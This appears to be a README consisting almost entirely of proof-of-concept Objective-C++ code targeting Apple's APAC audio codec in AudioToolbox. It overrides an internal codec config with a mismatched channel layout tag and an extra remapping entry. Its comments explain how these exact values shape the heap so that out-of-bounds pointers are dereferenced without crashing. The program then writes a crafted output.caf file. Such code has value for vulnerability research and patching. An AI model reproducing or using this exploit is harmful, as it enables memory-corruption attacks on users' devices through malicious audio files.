README.md
Rendering markdown...
@import AVFAudio;
@import AudioToolbox;
#include <vector>
struct CodecConfig {
char padding0[0x78]; // 0
AudioChannelLayout* remappingChannelLayout; // 0x78
char padding1[0xe0 - 0x80]; // 0x80
std::vector<char> mRemappingArray; // 0xe0
};
void OverrideApac(CodecConfig* config) {
//the exact tag given here is extremely important.
//The difference between the tag given here and the channelnum influences the heap layout.
//With these exact values, it almost always ends up such that the 13th pointer in the permuted input vector
//is the same address as the tenth one (i am not sure why yet, but the object that is there just happens to have that pointer as its first field perhaps).
// This makes it so when the pointers are later dereferenced, there is no segfault.
//If you pick, for example, 13 and then 10 as the channelnum, it will segfault much earlier.
config->remappingChannelLayout->mChannelLayoutTag = kAudioChannelLayoutTag_HOA_ACN_SN3D | 13;
config->mRemappingArray.push_back(0x3);
}
int main() {
uint32_t channelNum = 12;
AVAudioChannelLayout* channelLayout =
[AVAudioChannelLayout layoutWithLayoutTag:kAudioChannelLayoutTag_HOA_ACN_SN3D | channelNum];
AVAudioFormat* formatIn = [[AVAudioFormat alloc] initWithCommonFormat:AVAudioPCMFormatInt32
sampleRate:44100
interleaved:YES
channelLayout:channelLayout];
AudioStreamBasicDescription outputDescription{.mSampleRate = 44100,
.mFormatID = kAudioFormatAPAC,
.mFormatFlags = 0,
.mBytesPerPacket = 0,
.mFramesPerPacket = 0,
.mBytesPerFrame = 0,
.mChannelsPerFrame = channelNum,
.mBitsPerChannel = 0,
.mReserved = 0};
NSURL* outUrl = [NSURL fileURLWithPath:@"output.caf"];
OSStatus status = 0;
ExtAudioFileRef audioFile = nullptr;
status =
ExtAudioFileCreateWithURL((__bridge CFURLRef)outUrl, kAudioFileCAFType, &outputDescription,
channelLayout.layout, kAudioFileFlags_EraseFile, &audioFile);
if (status) {
fprintf(stderr, "error ExtAudioFileCreateWithURL: %d\n", status);
return 1;
}
status = ExtAudioFileSetProperty(audioFile, kExtAudioFileProperty_ClientDataFormat,
sizeof(AudioStreamBasicDescription), formatIn.streamDescription);
if (status) {
fprintf(stderr, "error ExtAudioFileSetProperty: %d\n", status);
return 1;
}
status = ExtAudioFileSetProperty(audioFile, kExtAudioFileProperty_ClientChannelLayout,
sizeof(AudioChannelLayout), formatIn.channelLayout.layout);
if (status) {
fprintf(stderr, "error ExtAudioFileSetProperty: %d\n", status);
return 1;
}
const int frameCount = 44100;
const int bufferSize = 44100 * channelNum;
int* audioBuffer = new int[bufferSize]();
for (int frame = 0; frame < frameCount; frame++) {
for (int ch = 0; ch < channelNum; ch++) {
audioBuffer[frame * channelNum + ch] = 0xff;
}
}
AudioBufferList audioBufferList{
.mNumberBuffers = 1,
.mBuffers =
{
{
.mNumberChannels = channelNum,
.mDataByteSize = static_cast<UInt32>(bufferSize * sizeof(int)),
.mData = audioBuffer,
},
},
};
status = ExtAudioFileWrite(audioFile, frameCount, &audioBufferList);
if (status) {
fprintf(stderr, "error ExtAudioFileWrite: %d\n", status);
delete[] audioBuffer;
return 1;
}
status = ExtAudioFileDispose(audioFile);
if (status) {
fprintf(stderr, "error ExtAudioFileDispose: %d\n", status);
}
delete[] audioBuffer;
audioFile = nullptr;
return 0;
}